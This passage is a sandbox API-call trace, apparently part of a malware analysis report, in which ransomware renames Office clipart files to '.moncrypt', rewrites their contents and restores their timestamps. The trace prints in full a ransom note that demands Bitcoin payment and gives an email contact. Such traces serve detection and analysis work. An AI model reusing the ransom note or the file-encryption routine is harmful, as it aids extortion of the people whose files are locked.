out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0060.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.049] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0060.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF", lpUsedDefaultChar=0x0) returned 63 [0060.049] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0060.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN02724_.WMF", lpUsedDefaultChar=0x0) returned 4 [0060.050] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b6bc300, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b6bc300, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 0x54e240 [0060.050] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.050] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.050] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF", dwFileAttributes=0x20) returned 1 [0060.051] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.051] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.moncrypt")) returned 1 [0060.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.052] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.052] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x83c [0060.052] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.052] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x83c, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18ea34*=0x83c, lpOverlapped=0x0) returned 1 [0060.053] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.054] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.054] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.054] GlobalUnlock (hMem=0x44000c) returned 0 [0060.054] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.054] GlobalUnlock (hMem=0x440004) returned 0 [0060.054] GlobalLock (hMem=0x440004) returned 0x550170 [0060.054] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.054] GlobalUnlock (hMem=0x440004) returned 0 [0060.054] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0060.054] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x850, lpOverlapped=0x0) returned 1 [0060.054] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0060.054] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0060.065] WriteFile (in: hFile=0x188, lpBuffer=0x1d7d8d8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1d7d8d8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0060.065] CloseHandle (hObject=0x188) returned 1 [0060.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.066] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0060.066] CloseHandle (hObject=0x188) returned 1 [0060.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0060.067] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0060.067] GlobalLock (hMem=0x440004) returned 0x550170 [0060.067] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.067] GlobalUnlock (hMem=0x440004) returned 0 [0060.067] GlobalLock (hMem=0x440004) returned 0x550170 [0060.067] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.067] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.067] GlobalUnlock (hMem=0x440004) returned 0 [0060.067] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.067] GlobalUnlock (hMem=0x44000c) returned 0 [0060.067] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0060.067] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0060.067] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0060.067] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0060.068] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.068] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.068] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.068] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.068] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.068] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.068] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.068] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0060.068] CloseHandle (hObject=0x188) returned 1 [0060.068] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c87b100, ftCreationTime.dwHighDateTime=0x1bd4c18, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c87b100, ftLastWriteTime.dwHighDateTime=0x1bd4c18, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 1 [0060.068] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0060.068] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0060.069] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.069] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.069] GlobalUnlock (hMem=0x44000c) returned 0 [0060.069] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.069] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.069] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.069] GlobalUnlock (hMem=0x44000c) returned 0 [0060.069] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.069] GlobalUnlock (hMem=0x440004) returned 0 [0060.069] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0060.069] CharLowerBuffW (in: lpsz="AN03500_.WMF", cchLength=0xc | out: lpsz="an03500_.wmf") returned 0xc [0060.069] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.069] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.069] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.069] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.069] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.069] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.069] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.069] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.069] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.069] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.069] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0060.069] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.070] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0060.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF", lpUsedDefaultChar=0x0) returned 63 [0060.070] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0060.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN03500_.WMF", lpUsedDefaultChar=0x0) returned 4 [0060.070] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c87b100, ftCreationTime.dwHighDateTime=0x1bd4c18, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c87b100, ftLastWriteTime.dwHighDateTime=0x1bd4c18, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 0x54e240 [0060.070] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.070] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.070] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF", dwFileAttributes=0x20) returned 1 [0060.071] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.071] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.moncrypt")) returned 1 [0060.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.071] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.072] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x2418 [0060.072] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.072] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x2418, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x2418, lpOverlapped=0x0) returned 1 [0060.074] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.074] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.074] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.074] GlobalUnlock (hMem=0x44000c) returned 0 [0060.074] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0060.074] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0060.074] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.074] GlobalUnlock (hMem=0x440004) returned 0 [0060.074] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0060.074] GlobalUnlock (hMem=0x44000c) returned 0 [0060.074] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.074] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.074] GlobalUnlock (hMem=0x44000c) returned 0 [0060.074] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0060.075] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.075] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.075] GlobalUnlock (hMem=0x44000c) returned 0 [0060.075] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0060.075] WriteFile (in: hFile=0x188, lpBuffer=0x1dc7368*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dc7368*, lpNumberOfBytesWritten=0x18ea30*=0x2430, lpOverlapped=0x0) returned 1 [0060.075] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0060.075] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0060.086] WriteFile (in: hFile=0x188, lpBuffer=0x1dc7388*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dc7388*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0060.086] CloseHandle (hObject=0x188) returned 1 [0060.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.087] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0060.087] CloseHandle (hObject=0x188) returned 1 [0060.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0060.088] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW 